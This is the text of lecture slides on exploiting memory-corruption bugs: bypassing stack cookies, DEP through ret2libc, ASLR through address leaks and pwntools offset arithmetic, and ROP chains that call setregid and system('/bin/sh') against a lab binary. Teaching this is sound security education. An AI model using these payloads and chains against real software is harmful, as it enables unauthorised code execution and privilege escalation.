BBBB

CCCC

8900010255

0x83ec5589



Stack Cookie: Bypassing ProPolice

• An easy brute force attack
• Max 256 trials to match 1 byte value
• Move forward if found the value

• In 32-bit: 4 * 256 = max 1,024 trials
• In 64-bit: 8 * 256 = max 2,048 trials



Stack Cookie: Weaknesses

• Random becomes non-random if fork()-ed..

0x83ec5589

BUFFER

BUFFER

BUFFER

SAVED %ebp

RETURN ADDR RET

Cookie0x83ec5589

BUFFER

BUFFER

BUFFER

SAVED %ebp

RETURN ADDR RET

Cookie fork()!



DEP/ASLR
Insu Yun



Today’s lecture

• Understand Data Execution Prevention (DEP)

• Understand how to bypass DEP (ret2libc)

• Understand Address Space Layout Randomization (ASLR)

• Understand how to bypass ASLR



COOKIEBUFFER

Stack Buffer Overflow + Run Shellcode
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Stack Buffer Overflow + Run Shellcode
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SAVED ebp

RETURN ADDR
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ADDR of 
SHELLCODE



Data Execution Prevention



Data Execution Prevention

• Q: Know how to exploit a buffer overflow vuln. What’s next?
• A: Jump to your shellcode!

• Another Q: why do we let the attacker run a shellcode? Block it!
• Attacker uploads and runs shellcode in the stack
• Stack only stores data
• Why stack is executable?

• Make it non-executable!





All Readable Memory was Executable

• Intel/AMD CPUs
• No executable flag in page table entry – only checks RW
• AMD64 – introduced NX bit (No-eXecute, in 2003)
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• Windows
• Supporting DEP from Windows XP SP2 (in 2004)

• Linux
• Supporting NX since 2.6.8 (in 2004)



All Readable Memory was Executable

• Intel/AMD CPUs
• No executable flag in page table entry – only checks RW
• AMD64 – introduced NX bit (No-eXecute, in 2003)

• Windows
• Supporting DEP from Windows XP SP2 (in 2004)

• Linux
• Supporting NX since 2.6.8 (in 2004)

DEP, NX (No eXecute), 
W⊕X (Write XOR Execute)



Exec / non-exec stack

• $ readelf -l /home/lab03/jmp-to-stack/target



Exec / non-exec stack

• $ readelf -l /home/lab05/libbase/target



Non-executable Stack



Non-executable Stack

• Now, most of programs built with non-executable stack
• We compile a program without `-z execstack`

• Then, how to run a shell?
• Call system(“/bin/sh”)
• What if the program does not have such code?

• Library: Return to Libc



Dynamically Linked Library

• When you build a program, you use functions from library
• printf(), scanf(), read(), write(), system(), etc.

• Q: Where does that function reside?
• 1) In the program
• 2) In #include <stdio.h>, the header file
• 3) Somewhere in the process’s memory



Dynamically Linked Library

• When you build a program, you use functions from library
• printf(), scanf(), read(), write(), system(), etc.

• Q: Where does that function reside?
• 1) In the program
• 2) In #include <stdio.h>, the header file
• 3) Somewhere in the process’s memory



How a Program is Loaded…

• execve(target, …, …)
• Load the target ELF file first
• Load required libraries for the target ELF (header contains the list)
• Build stack, heap and other memory
• Run!
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How a Program is Loaded…

• execve(target, …, …)
• Load the target ELF file first
• Load required libraries for the target ELF (header contains the list)
• Build stack, heap and other memory
• Run!



Dynamically Linked Library: libc

• The most of programs written in C will be linked with libc
• Contains essential functionalities!
• execve(), system(), open(), read(), write(), etc.

• But where our system() is?
• Let’s check with gdb!



Finding libc Functions

• GDB

• Why?
• You should run the program to see linked libraries



Finding libc Functions

• GDB



Stack Overflow Again

• Now you know where system() is!

• “A” * 0x80 + “BBBB” + “\x40\x19\xe4\xf7”
• This will run system()
• But how to run system(“/bin/sh”) or system(“a”)?



Function Call and Stack

• Arguments
• [ebp + 0x8] is the 1st argument
• [ebp + 0xc] is the 2nd argument
• …

• What if we call system() by changing RET?
0x83ec5589

Local 2

Local 3

Local 4

SAVED ebp

RETURN ADDR RET

ARG 1

ARG 2

ebp

esp

Local 1



Function Call and Stack

0x83ec5589

Local 2

Local 3

Local 4

SAVED ebp

RETURN ADDR RET

ARG 1

ARG 2

ebp

esp

Local 1



Function Call and Stack

• Overflow
• Leave

• mov esp, ebp
• pop ebp

• Return
• pop eip

0x83ec5589

Local 2
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Local 4

SAVED ebp

RETURN ADDR RET

ARG 1

ARG 2

ebp

esp
AAAA

Local 1
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• Return
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Function Call and Stack

• Overflow
• Leave

• mov esp, ebp
• pop ebp

• Return
• pop eip
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AAAA
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AAAA

AAAA

AAAA

AAAA

system()
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• Overflow
• Leave

• mov esp, ebp
• pop ebp

• Return
• pop eip
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Function Call and Stack

• Overflow
• Leave

• mov esp, ebp
• pop ebp

• Return
• pop eip

0x83ec5589

Local 2

Local 3

Local 4

SAVED ebp

RETURN ADDR RET

ARG 1

ARG 2

ebp

esp
AAAA

Local 1

AAAA

AAAA

AAAA

AAAA

system()

ebp = 0x41414141

esp



Function Call and Stack

• Overflow
• Leave

• mov esp, ebp
• pop ebp

• Return
• pop eip

0x83ec5589

Local 2

Local 3

Local 4

SAVED ebp

RETURN ADDR RET

ARG 1

ARG 2

ebp

esp
AAAA

Local 1

AAAA

AAAA

AAAA

AAAA

system()

ebp = 0x41414141

esp

esp



Function Call and Stack

0x83ec5589

Local 2

Local 3

Local 4

SAVED ebp

RETURN ADDR

ARG 1

ARG 2

AAAA

Local 1

AAAA

AAAA

AAAA

AAAA

system()

ebp = 0x41414141

esp

SAVED ebp

RETURN ADDR

ARG 1

ARG 2



Function Call and Stack

• Executing system()
• push ebp
• mov esp, ebp
• sub esp, 0x10c

• Argument access
• What is [ebp + 8]?

• ARG2 of the vulnerable function will be ARG1
• Ret addr + 8!

0x83ec5589

Local 2

Local 3

Local 4

SAVED ebp

RETURN ADDR

ARG 1

ARG 2

AAAA

Local 1

AAAA

AAAA

AAAA

AAAA

system()

ebp = 0x41414141

esp

SAVED ebp

RETURN ADDR

ARG 1

ARG 2



Function Call and Stack

• Executing system()
• push ebp
• mov esp, ebp
• sub esp, 0x10c

• Argument access
• What is [ebp + 8]?

• ARG2 of the vulnerable function will be ARG1
• Ret addr + 8!

0x83ec5589

Local 2

Local 3

Local 4

SAVED ebp

RETURN ADDR

ARG 1

ARG 2

AAAA

Local 1

AAAA

AAAA

AAAA

AAAA

system()

ebp = 0x41414141

esp
AAAA

esp

SAVED ebp

RETURN ADDR

ARG 1

ARG 2



Function Call and Stack

• Executing system()
• push ebp
• mov esp, ebp
• sub esp, 0x10c

• Argument access
• What is [ebp + 8]?

• ARG2 of the vulnerable function will be ARG1
• Ret addr + 8!

0x83ec5589

Local 2

Local 3

Local 4

SAVED ebp

RETURN ADDR

ARG 1

ARG 2

AAAA

Local 1

AAAA

AAAA

AAAA

AAAA

system()

ebp = 0x41414141

esp
AAAA

esp

SAVED ebp

RETURN ADDR

ARG 1

ARG 2



Function Call and Stack

• Executing system()
• push ebp
• mov esp, ebp
• sub esp, 0x10c

• Argument access
• What is [ebp + 8]?

• ARG2 of the vulnerable function will be ARG1
• Ret addr + 8!

0x83ec5589

Local 2

Local 3

Local 4

SAVED ebp

RETURN ADDR

ARG 1

ARG 2

AAAA

Local 1

AAAA

AAAA

AAAA

AAAA

system()

ebp = 0x41414141

esp
AAAA

espebp

SAVED ebp

RETURN ADDR

ARG 1

ARG 2



Function Call and Stack

• Executing system()
• push ebp
• mov esp, ebp
• sub esp, 0x10c

• Argument access
• What is [ebp + 8]?

• ARG2 of the vulnerable function will be ARG1
• Ret addr + 8!

0x83ec5589

Local 2

Local 3

Local 4

SAVED ebp

RETURN ADDR

ARG 1

ARG 2

AAAA

Local 1

AAAA

AAAA

AAAA

AAAA

system()

ebp = 0x41414141
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SAVED ebp

RETURN ADDR

ARG 1

ARG 2



Function Call and Stack

• Executing system()
• push ebp
• mov esp, ebp
• sub esp, 0x10c

• Argument access
• What is [ebp + 8]?

• ARG2 of the vulnerable function will be ARG1
• Ret addr + 8!
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AAAA

AAAA

AAAA

system()
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ARG 1
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Function Call and Stack

• Executing system()
• push ebp
• mov esp, ebp
• sub esp, 0x10c

• Argument access
• What is [ebp + 8]?

• ARG2 of the vulnerable function will be ARG1
• Ret addr + 8!
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Function Call and Stack

• Executing system()
• push ebp
• mov esp, ebp
• sub esp, 0x10c

• Argument access
• What is [ebp + 8]?

• ARG2 of the vulnerable function will be ARG1
• Ret addr + 8!
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Function Call and Stack

• Executing system()
• push ebp
• mov esp, ebp
• sub esp, 0x10c

• Argument access
• What is [ebp + 8]?

• ARG2 of the vulnerable function will be ARG1
• Ret addr + 8!

0x83ec5589

Local 2

Local 3

Local 4

SAVED ebp

RETURN ADDR

ARG 1

ARG 2

AAAA

Local 1

AAAA

AAAA

AAAA

AAAA

system()

ebp = 0x41414141

esp
AAAA

espebp

esp

ebp + 0x4

ebp + 0x0

ebp + 0x8

SAVED ebp

RETURN ADDR

ARG 1

ARG 2

ebp



Calling System(“/bin/sh”)

• Let’s overwrite
• RET ADDR = addr of system()
• ARG2 = “/bin/sh”

0x83ec5589

Local 2

Local 3

Local 4

SAVED ebp

RETURN ADDR RET

ARG 1

ARG 2

ebp

esp

Local 1

ARG 3

ARG 4

ARG 5

AAAA

AAAA

AAAA

AAAA

AAAA

System()

BBBB

Addr of “/bin/sh”



Calling System(“/bin/sh”)

• Let’s overwrite
• RET ADDR = addr of system()
• ARG2 = “/bin/sh”

• When running system…
0x83ec5589

Local 2

Local 3

Local 4

SAVED ebp

RETURN ADDR RET

ARG 1

ARG 2

ebp

esp

Local 1

ARG 3

ARG 4

ARG 5

AAAA

AAAA

AAAA

AAAA

AAAA

AAAA

BBBB

Addr of “/bin/sh” ebp + 8



Calling Multiple Functions

• What if system() returns?
• ebp + 0x0 = saved ebp
• ebp + 0x4 = return address

• Return to BBBB
• Can we change this?

0x83ec5589

Local 2

Local 3

Local 4

SAVED ebp

RETURN ADDR RET

ARG 1

ARG 2

ebp

esp

Local 1

ARG 3

ARG 4

ARG 5

AAAA

AAAA

AAAA

AAAA

AAAA

AAAA

BBBB

Addr of “/bin/sh” ebp + 0x8



Calling Multiple Functions

• system(“/bin/sh”)
• printf(“asdf”)

• We can run multiple functions!
0x83ec5589

Local 2

Local 3

Local 4

SAVED ebp

RETURN ADDR RET

ARG 1

ARG 2

ebp

esp

Local 1

ARG 3

ARG 4

ARG 5

AAAA

AAAA

AAAA

AAAA

AAAA

system()

printf()

Addr of “/bin/sh” ebp + 0x8

Addr of “asdf”



COOKIEBUFFER

Stack Buffer Overflow + Run Shellcode
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COOKIEBUFFER

Stack Buffer Overflow + Run Shellcode
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RETURN ADDR
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We need to know where the shellcode is!



Address Space Layout Randomization (ASLR)



Address Space Layout Randomization (ASLR)

• Attackers need to know which address to control (jump/overwrite)
• Stack - shellcode
• Library - system()
• Heap – chunks metadata (will learn this later)

• Defense: let’s randomize it!
• Attackers do not know where to jump…
• Win!



ASLR - History

• Linux PaX adapt this first in 2002
• OpenBSD – 2003
• Linux – 2005
• Windows – Vista in 2007
• iOS – iOS 4.3 in 2011
• Android – Android 4.0 ICS in 2011



ASLR - History



ASLR: Randomize Addresses per Each 
Execution



How Random is the Address?
Space Entropy Chance

32bit stack 19 bits 1 in 524288

32bit heap 13 bits 1 in 8192

32bit library 10 bits 1 in 1024

64bit stack 30 bits 1 in 1G…

64bit heap 28 bits 1 in 128M

64bit library 28 bits 1 in 128M

64bit Windows 19 bits 1 in 524288



How Random is the Address?
Space Entropy Chance

32bit stack 19 bits 1 in 524288

32bit heap 13 bits 1 in 8192

32bit library 10 bits 1 in 1024

64bit stack 30 bits 1 in 1G…

64bit heap 28 bits 1 in 128M

64bit library 28 bits 1 in 128M

64bit Windows 19 bits 1 in 524288



Overhead? CODE

DATA

PRINTF

”asdf”

0x23423



Overhead?

• <1% in 64 bit
• printf(”asdf”)
• Access all strings via relative address from current %rip

• lea 0x23423(%rip), %rdi

• ~ 3% in 32 bit
• Cannot address using %eip

• How?
• call +5; pop %ebx; add $0x23423, %ebx; GETTING EIP to EBX

CODE

DATA

PRINTF

”asdf”

0x23423



Then, How Can We Bypass ASLR?

Space Entropy Chance

32bit stack 19 bits 1 in 524288

32bit heap 13 bits 1 in 8192

32bit library 10 bits 1 in 1024

64bit stack 30 bits 1 in 1G…

64bit heap 28 bits 1 in 128M

64bit library 28 bits 1 in 128M

64bit Windows 19 bits 1 in 524288



Then, How Can We Bypass ASLR?

• Brute-force
• Get a core dump
• Set that address
• Run for N times!

• Eventually the address will be matched..
• Look at the table

• Requires too many trials in some cases…

Space Entropy Chance

32bit stack 19 bits 1 in 524288

32bit heap 13 bits 1 in 8192

32bit library 10 bits 1 in 1024

64bit stack 30 bits 1 in 1G…

64bit heap 28 bits 1 in 128M

64bit library 28 bits 1 in 128M

64bit Windows 19 bits 1 in 524288



Then, How Can We Bypass ASLR?

• Brute-force
• Get a core dump
• Set that address
• Run for N times!

• Eventually the address will be matched..
• Look at the table

• Requires too many trials in some cases…

Space Entropy Chance

32bit stack 19 bits 1 in 524288

32bit heap 13 bits 1 in 8192

32bit library 10 bits 1 in 1024

64bit stack 30 bits 1 in 1G…

64bit heap 28 bits 1 in 128M

64bit library 28 bits 1 in 128M

64bit Windows 19 bits 1 in 524288



Leak address

• Information Leak
• Leak the target address!
• libc? Where is the system()?

• Leaking a target address (e.g., system()) could be difficult
1. system() should be used in a program
2. Our bug should be located near the use of system()



Understanding ASLR Characteristics

• How do they randomize the address?
• Change the BASE address of each area
• Use relative addressing in the area



Relative Addressing

Addresses are different,
But their distances are the same



ASLR Bypass Strategy

• Library
• ldd first
• Open that library with gdb
• Print functions!

• Prints offset

• Attacking Library
• Leak one library address (e.g., FUNC_A) 
• Find what is the base address: LIBC_BASE = LEAK – OFFSET_A
• Calculate system: SYSTEM = LIBC_BASE + OFFSET_SYSTEM



ASLR bypass in pwntools version

from pwn import *

libc = ELF('/lib/i386-linux-gnu/libc.so.6’)
printf_address = 0xf7e0e430 # leak()
libc_base = printf_address - libc.symbols['printf’]

# check page align
assert(libc_base & 0xfff == 0)
system_base = libc_base + libc.symbols['system']



CAVEAT

• To have a strong defense, systems have to randomize all addresses
• Code, data, stack, heap, library, mmap(), etc.

• However, Code/data still merely randomized
• Why? Some compatibility issue…





Position Independent Executable (PIE)

• Randomize Code/Data!
• Now everything becomes randomized

• Unlike libraries, you need to recompile code
• Why?

• Now, PIE becomes default.
• i.e., If you compile a program with a recent compiler, your main() will be 

randomized



Position Independent Executable (PIE)

/bin/cat from Ubuntu 16.04.3 /bin/sh from Ubuntu 16.04.3



Return Oriented 
Programming

Insu Yun



Today’s lecture

• Understand Return Oriented Programming (ROP)



Defenses against software vulnerabilities

• Data Execution Prevention
• Call existing functions in the program
• Call library functions
• Code-reuse attack

• Stack cookie
• Information leak
• Side-channel attack
• Non-stack vulnerabilities

• ASLR
• Information leak



Possible return-to-libc defense

• Delete powerful functions for exploitation!
• e.g., system(), execve(), ...

• Then, you cannot launch “/bin/sh” anymore!



No! Return-oriented programming (ROP)

• You can make arbitrary computations using a large number of short 
instruction sequences called gadget.

• If you are interested in its academic history, please check
• The Geometry of Innocent Flesh on the Bone: Return-into-libc without 

Function Calls (on the x86)
• First introduce ROP

• On the Expressiveness of Return-into-libc Attacks
• ROP in libc == Turing complete



What is gadget?

• A short instruction sequence that usually ends with ret
• We usually can find them at the end of functions

• e.g., at the end of libc_csu_init()

pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret



More on gadgets

• Even we can get them by splitting existing ones
• This is because x86 uses variable-length encoding

• e.g., 

0x400513 <__libc_csu_init+99>:       pop    rdi
0x400514 <__libc_csu_init+100>:      ret

0x400512 <__libc_csu_init+98>:       pop    r15
0x400514 <__libc_csu_init+100>:      ret



ROP: Call chaining by example

• Key idea: Chain multiple gadgets to perform high-level job

• Let’s do
• setregid(1000, 1000);
• system(“/bin/sh”);
• Unfortuantely, no single function exists for this job

• Let’s assume our vulnerability is stack overflow
• esp is pointing to stack whose data are controllable



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; setregid
0xf7ec9c00 <+0>:     push   ebp
0xf7ec9c01 <+1>:     mov    ebp,esp
…

[5]

[4]

[3]

[2]

[1]

[0]

vuln’s return address
[setregid]

esp

ebp



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; setregid
0xf7ec9c00 <+0>:     push   ebp
0xf7ec9c01 <+1>:     mov    ebp,esp
…

[5]

[4]

[3]

[2]

[1]

[0]

vuln’s return address
[setregid]

esp

ebp

What are arguments for 
setregid()?



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; setregid
0xf7ec9c00 <+0>:     push   ebp
0xf7ec9c01 <+1>:     mov    ebp,esp
…

[5]

[4]

[3]

[2]

[1]

[0]

vuln’s return address
[setregid]

esp

ebp



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; setregid
0xf7ec9c00 <+0>:     push   ebp
0xf7ec9c01 <+1>:     mov    ebp,esp
…

[5]

[4]

[3]

[2]

[1]

[0]

vuln’s return address
[ebp]

esp

ebp



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; setregid
0xf7ec9c00 <+0>:     push   ebp
0xf7ec9c01 <+1>:     mov    ebp,esp
…

[5]

[4]

[3]

[2]

[1]

[0]

vuln’s return address
[ebp]esp

ebp



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; setregid
0xf7ec9c00 <+0>:     push   ebp
0xf7ec9c01 <+1>:     mov    ebp,esp
…

[5]

[4]

[3]

[2]

[1]

[0]

vuln’s return address
[ebp]esp

ebp

Return address: ebp + 4  = [0]
1st argument: ebp + 8  = [1]
2nd argument: ebp + 12 = [2]



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; setregid
0xf7ec9c00 <+0>:     push   ebp
0xf7ec9c01 <+1>:     mov    ebp,esp
…

[5]

[4]

[3]

[1000]

[1000]

[0]

vuln’s return address
[setregid]

esp

ebp

Let’s call setregid(1000, 1000)



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; setregid
0xf7ec9c00 <+0>:     push   ebp
0xf7ec9c01 <+1>:     mov    ebp,esp
…

[5]

[4]

[3]

[1000]

[1000]

[system]

vuln’s return address
[setregid]

esp

ebp

How can we call system()?



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; setregid
0xf7ec9c00 <+0>:     push   ebp
0xf7ec9c01 <+1>:     mov    ebp,esp
…

[5]

[4]

[3]

[1000]

[1000]

[system]

vuln’s return address
[setregid]

esp

ebp

How can we call system()?

What’s the argument 
for system, then?



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; setregid
0xf7ec9c00 <+0>:     push   ebp
0xf7ec9c01 <+1>:     mov    ebp,esp
…

[5]

[4]

[3]

[1000]

[1000]

[system]

vuln’s return address
[setregid]

esp

ebp

How can we call system()?

What’s the argument 
for system, then?



Clean up stack using a gadget

• Common gadget for this: pop, pop, … pop, ret!
• e.g., If we have two arguments, use pop pop ret

pop edi
pop ebp
ret



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; setregid
0xf7ec9c00 <+0>:     push   ebp
0xf7ec9c01 <+1>:     mov    ebp,esp
…

; pop pop ret
0x0804845a <+90>:    pop    edi
0x0804845b <+91>:    pop    ebp
0x0804845c <+92>:    ret

[5]

[4]

[3]

[1000]

[1000]

[pop pop ret]

vuln’s return address
[setregid]

Clean up stack with pop pop ret

esp
ebp



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; setregid
0xf7ec9c00 <+0>:     push   ebp
0xf7ec9c01 <+1>:     mov    ebp,esp
…

; pop pop ret
0x0804845a <+90>:    pop    edi
0x0804845b <+91>:    pop    ebp
0x0804845c <+92>:    ret

[5]

[4]

[3]

[1000]

[1000]

[pop pop ret]

vuln’s return address
[setregid]

Clean up stack with pop pop ret

esp

ebp



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; setregid
0xf7ec9c00 <+0>:     push   ebp
0xf7ec9c01 <+1>:     mov    ebp,esp
…

; pop pop ret
0x0804845a <+90>:    pop    edi
0x0804845b <+91>:    pop    ebp
0x0804845c <+92>:    ret

[5]

[4]

[3]

[1000]

[1000]

[pop pop ret]

vuln’s return address
[setregid]

Clean up stack with pop pop ret

esp

ebp



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; setregid
0xf7ec9c00 <+0>:     push   ebp
0xf7ec9c01 <+1>:     mov    ebp,esp
…

; pop pop ret
0x0804845a <+90>:    pop    edi
0x0804845b <+91>:    pop    ebp
0x0804845c <+92>:    ret

[5]

[4]

[3]

[1000]

[1000]

[pop pop ret]

vuln’s return address
[setregid]

Clean up stack with pop pop ret

esp

ebp

EIP = [3]
1st argument = [5]
2nd argument = [6]
…



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; setregid
0xf7ec9c00 <+0>:     push   ebp
0xf7ec9c01 <+1>:     mov    ebp,esp
…

; pop pop ret
0x0804845a <+90>:    pop    edi
0x0804845b <+91>:    pop    ebp
0x0804845c <+92>:    ret

[“/bin/sh”]

[4]

[system]

[1000]

[1000]

[pop pop ret]

vuln’s return address
[setregid]

Final payload

esp

ebp



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; setregid
0xf7ec9c00 <+0>:     push   ebp
0xf7ec9c01 <+1>:     mov    ebp,esp
…

; pop pop ret
0x0804845a <+90>:    pop    edi
0x0804845b <+91>:    pop    ebp
0x0804845c <+92>:    ret

[“/bin/sh”]

[4]

[system]

[1000]

[1000]

[pop pop ret]

vuln’s return address
[setregid]

Final payload

esp

ebp

EIP = [3]
1st argument = [5]
2nd argument = [6]
…



ROP: Leak & exploit by example

void vuln() {
char buf[32];
read(0, buf, 0x100);

}

int main() {
puts("Welcome!");
vuln();
exit(0);

}



ROP: Leak & exploit by example

[*] '/home/vagrant/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)



Our attack scenario



Our attack scenario

1. Leak libc address
2. system(“/bin/sh”)

• Q: How to leak libc address?
• A: Use Global Offset Table (GOT) because GOT stores a libc address!



GOT (Global Offset Table)

• Procedure Linkage Table (PLT)
• Stubs used to load dynamically linked functions 



GOT (Global Offset Table)

• PLT stub calls a function in its GOT entry



GOT (Global Offset Table)

struct link_map*: A data structure 
for shared objects

_dl_runtime_resolve(link_map*, offset): 
Lazily loads a function address based on offset



GOT (Global Offset Table)

• __dl_runtime_resolve
1. According to offset, get a function name in an ELF binary (e.g., puts)
2. Based on the function name, get its address
3. Update GOT with the address and call the function 
• This mechanism also can be used in attack: return_to_dl attack



GOT (Global Offset Table)

No more lookup again!



Can I use any GOT address?

[exit@got]

[????]

vuln’s return address
[puts]



Can I use any GOT address?

[exit@got]

[????]

vuln’s return address
[puts]

0x0804853c <+43>:    
call   0x8048390 <exit@plt>

(gdb) x/i 0x8048390
0x8048390 : jmp *0x804a018

(gdb) x/x 0x804a018
0x804a018: 0x08048396



Can I use any GOT address?

[exit@got]

[????]

vuln’s return address
[puts]

0x0804853c <+43>:    
call   0x8048390 <exit@plt>

(gdb) x/i 0x8048390
0x8048390 : jmp *0x804a018

(gdb) x/x 0x804a018
0x804a018: 0x08048396

It looks like binary 
address, not libc!



Can I use any GOT address?

[exit@got]

[????]

vuln’s return address
[puts]

0x0804853c <+43>:    
call   0x8048390 <exit@plt>

(gdb) x/i 0x8048390
0x8048390 : jmp *0x804a018

(gdb) x/x 0x804a018
0x804a018: 0x08048396

It looks like binary 
address, not libc!



Universal GOT for leak: __libc_start_main

[__libc_start_main@got]

[????]

vuln’s return address
[puts]



